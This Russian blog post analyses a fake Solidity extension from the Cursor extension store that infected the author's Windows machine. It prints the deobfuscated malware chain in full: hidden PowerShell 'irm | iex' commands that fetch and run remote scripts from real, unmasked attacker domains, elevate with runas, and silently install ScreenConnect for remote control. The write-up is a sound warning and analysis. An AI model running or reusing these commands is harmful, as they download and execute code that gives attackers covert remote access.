Приветствую, Хабр! Вчера меня усадили за Win-машину и попросили посмотреть смартконтракт на Solidity в Cursor. Сделан он был полностью на ИИ, потому и при его создании подсветка синтаксиса не требовалась. Но мне это было сильно надо - я зашел во встроенный магазин расширений и установил соответствующий плагин из топа поиска. Из заголовка понятно, что никакой подсветки я не получил, а лишь заразился в два клика. Но на тот момент я этого даже не заметил.

Как вы можете заметить, у поддельного расширения аж 2 миллиона загрузок. Единственное, что выдаёт его - дата публикации: на момент написания статьи всего пару часов. Имя разработчика, README и даже ссылка на репозиторий как у оригинала. Настолько не работает модерация.
Немного теории о том, как работает установка расширений. Загружаемый плагин из маркета - это ZIP архив с расширением файла VSIX. Внутри примерно такая структура:
.
├── [Content_Types].xml
├── extension
│ ├── LICENSE.md
│ ├── icon.png
│ ├── package.json
│ ├── readme.md
│ ├── src
│ │ └── extension.js
│ └── tsconfig.json
└── extension.vsixmanifest
Все файлы кроме extension.js не несут в себе никакой полезной нагрузки, только информационную. При установке такого плагина запускается его инициализация, в данном случае - загрузка вредоноса. Теперь рассмотрим, что же такого делает именно этот плагин.

extension.js
У человека знакомого с обфускацией JS сразу возникнет мысль, что сделано это на скорую руку, через первую ссылку в выдаче, а именно https://obfuscator.io. Так оно и оказалось, разбираем этот код через https://obf-io.deobfuscate.io и уже получаем вполне читабельный формат. Весь код предоставлять не стану, он слишком мусорный, ниже только самая важная его часть — вызов powershell:
Домены я убирать/маскировать не буду специально, так как это нелегитимные ресурсы, если кто-то может, то посодействует их блокировке
exec("powershell -WindowStyle Hidden -Command "irm
https://angelic.su/files/1.txt
| iex"", 0x5d4a40, (0x61aff0, 0x11badb, 0xc65ee9) => {});
Сразу видим irm (прям как во всем известном активаторе) и далее ссылка, очевидно, что далее нам надо пройти по ней, смотрим.
$svc = Get-Service -Name 'ScreenConnect Client Service' -ErrorAction SilentlyContinue
$paths = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*'
$reg = Get-ItemProperty $paths -ErrorAction SilentlyContinue |
Where-Object { $_.DisplayName -match 'ScreenConnect|ConnectWise Control' }
if (-not $svc -and -not $reg) {
while ($true) {
try {
$psi = [System.Diagnostics.ProcessStartInfo]::new(
'cmd.exe',
'/c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "irm https://angelic.su/files/2.txt | iex"'
)
$psi.Verb = 'runas'
$psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
[System.Diagnostics.Process]::Start($psi) | Out-Null
break
} catch { }
}
}
Происходят какие‑то операции с реестром, далее второй этап, всё на том же домене, открываем его.
$tempPath = "$env:TEMP\setup.msi"
Invoke-WebRequest -Uri "https://lmfao.su/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest" -OutFile $tempPath
Start-Process -FilePath "msiexec.exe" -ArgumentList "/i `"$tempPath`" /qn" -Verb RunAs -Wait
Тут у нас скачивается уже некий установочный файл, есть флаг /qn
, который делает тихую установку, на этом заражение завершается.
А теперь, почему оно сработало в таком небрежном исполнении, где, чтоб раскопать всю цепочку, требуется 10 минут? Ответ прост — ставится легитимное ПО, которое продаётся по подписке (https://www.screenconnect.com). Антивирусы данный файл не считают вредоносным: при полном сканировании ПК и отдельном сканировании данного файла не выдавало никаких алертов.

Выдало данный HVNC для бедных то, что в момент когда администратор подключался к моей машине, экран становился чёрным (скорее всего видеопоток переправлялся ему), а по экрану водился курсор сам по себе, сначала я списал это на тупость самой Win, чего только не стоить ждать от этой системы, но во второй раз когда действия курсора были более плавными не хаотичными, закралась подозрение.
Раскапывать данную историю я дальше не стану, есть интересный момент, что домены были приобретены на .su зоне, возможно этот горемыка-хакер сидит где-то в соседнем подъезде и безнаказанно заражает всех подряд.
Из всего вышеописанного следует, что не стоит доверять даже, казалось бы, надёжному магазину приложений который должен модерироваться и не пропускать всякую дрянь, дрянь такого уровня, что её создатель даже не попытался заинжектить в реальный плагин нагрузку для скрытия своих намерений. ведь каждый бы так сделал да?
Всем добра, выйбкодинг зло